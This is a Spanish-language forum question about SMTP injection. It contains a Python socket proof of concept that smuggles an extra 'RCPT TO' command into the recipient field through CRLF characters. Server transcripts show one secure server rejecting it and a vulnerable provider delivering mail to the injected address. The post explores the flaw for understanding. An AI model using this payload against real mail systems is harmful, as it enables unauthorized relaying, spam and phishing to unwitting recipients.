En otro hilo un usuario intentaba usar inyecciones SMTP y, como prueba, tratando de inyectar un destinatario suplementario para este correo electrónico.
Mi comprensión del problema que le impide tener éxito fue lo siguiente:
- Utiliza Python SMTPlib, que filtra los parámetros (los datos inesperados se eliminan silenciosamente) precisamente para evitar tales ataques,
- Estaba inyectando datos en el lugar equivocado, afectando los datos del correo en lugar del intercambio de protocolo SMTP real.
Sin embargo, los siguientes comentarios muestran que mi comprensión es errónea y todavía no entiendo por qué. Por lo tanto, para evitar discusiones fuera de tema en este hilo anterior, abro una nueva pregunta con más detalles sobre mi punto de vista.
He escrito a continuación una prueba rápida de concepto, aún en Python, y voluntariamente no usar SMTPlib ya que, como se dijo anteriormente, esta biblioteca incluye protección contra la inyección de SMTP:
#! /usr/local/bin/python3.3
host = "smtp.example.com"
port = 2525
sender = "[email protected]"
# Injection occurs here:
recipient = "[email protected]>\r\nRCPT TO:<[email protected]"
msg = "From: \"Bob Example\" <[email protected]>\r\n" + \
"To: \"Alice Example\" <[email protected]>\r\n" + \
"Cc: [email protected]\r\n" + \
"Date: Tue, 15 January 2008 16:02:43 -0500\r\n" + \
"Subject: Test message\r\n" + \
"\r\n" + \
"This is a test\r\n"
import re
import socket
import time
def getReply(sock):
time.sleep(0.1)
reply = str(sock.recv(4096), "ascii")
if reply[0] != '2' and reply[0] != '3':
raise RuntimeError("SMTP error: " + reply)
print("S: " + reply)
def sendCmd(sock, cmd):
sock.sendall(bytes(cmd, "ascii"))
print("C: " + cmd)
getReply(sock)
sock = socket.create_connection((host, port))
getReply(sock)
sendCmd(sock, "EHLO somebody.example.com\r\n")
sendCmd(sock, "MAIL FROM:<" + sender + ">\r\n")
sendCmd(sock, "RCPT TO:<" + recipient + ">\r\n")
sendCmd(sock, "DATA\r\n")
sendCmd(sock, msg + "\r\n.\r\n")
sendCmd(sock, "QUIT\r\n")
sock.close()
Esta secuencia de comandos simula una inyección SMTP en el campo del destinatario.
Un servidor SMTP seguro puede detectar dicha inyección debido a la presencia de datos finales después del avance de línea al final del comando RCPT TO:
. La siguiente salida se produce cuando se ejecutan estos scripts contra el servidor OpenBSD OpenSMTPD privado:
S: 220 smtp.example.com ESMTP OpenSMTPD
C: EHLO somebody.example.com
S: 250-smtp.example.com Hello somebody.example.com [127.0.0.1], pleased to meet you
250-8BITMIME
250-ENHANCEDSTATUSCODES
250-SIZE 36700160
250-DSN
250 HELP
C: MAIL FROM:<[email protected]>
S: 250 2.0.0: Ok
C: RCPT TO:<[email protected]>
RCPT TO:<[email protected]>
Traceback (most recent call last):
File "./semail.py", line 31, in <module>
sendCmd(sock, "RCPT TO:<" + recipient + ">\r\n")
File "./semail.py", line 25, in sendCmd
getReply(sock)
File "./semail.py", line 19, in getReply
raise RuntimeError("SMTP error: " + reply)
RuntimeError: SMTP error: 500 5.5.1 Invalid command: Pipelining not supported
Un servidor SMTP seguro detecta correctamente los datos sospechosos y rechaza la solicitud.
Sin embargo, el servidor de correo no seguro leerá la línea de datos entrantes por línea y no detectará el problema. Se ha obtenido el seguimiento a continuación al ejecutar el mismo script contra un importante proveedor de servicios de correo electrónico público:
S: 220 smtp.example.com ESMTP ready
C: EHLO somebody.example.com
S: smtp.example.com
250-PIPELINING
250-SIZE 41943040
250-8BITMIME
250 STARTTLS
C: MAIL FROM:<[email protected]>
S: 250 sender <[email protected]> ok
C: RCPT TO:<[email protected]>
RCPT TO:<[email protected]>
S: 250 recipient <[email protected]> ok
250 recipient <[email protected]> ok
C: DATA
S: 354 go ahead
C: From: "Bob Example" <[email protected]>
To: "Alice Example" <[email protected]>
Cc: [email protected]
Date: Tue, 15 January 2008 16:02:43 -0500
Subject: Test message
This is a test
.
S: 250 ok dirdel 1/1
C: QUIT
S: 221 smtp.example.com
Un servidor SMTP no seguro consume y ejecuta comandos inyectados. Aquí los destinatarios han recibido correctamente los correos electrónicos.
Mi conclusión después de esta prueba es que la inyección SMTP de los comandos RCPT TO:
que usan el campo del destinatario es exitosa, y su ejecución hacia diferentes servidores muestra que algunos servidores están más protegidos que otros contra este ataque.
Además, en este ejemplo se usó un comando RCTP TO:
como seguimiento de la pregunta original, sin embargo, en este paso solo se tiene acceso al debate del protocolo SMTP y es libre de inyectar cualquier comando en servidores vulnerables. / p>
Sin embargo, los comentarios en el hilo original parecen para indicar que actualmente me falta algo crucial en mi análisis y que, por lo tanto, tales conclusiones son irrelevantes.
¿Puede alguien ayudarme a determinar dónde me equivoco exactamente en mi análisis de este problema?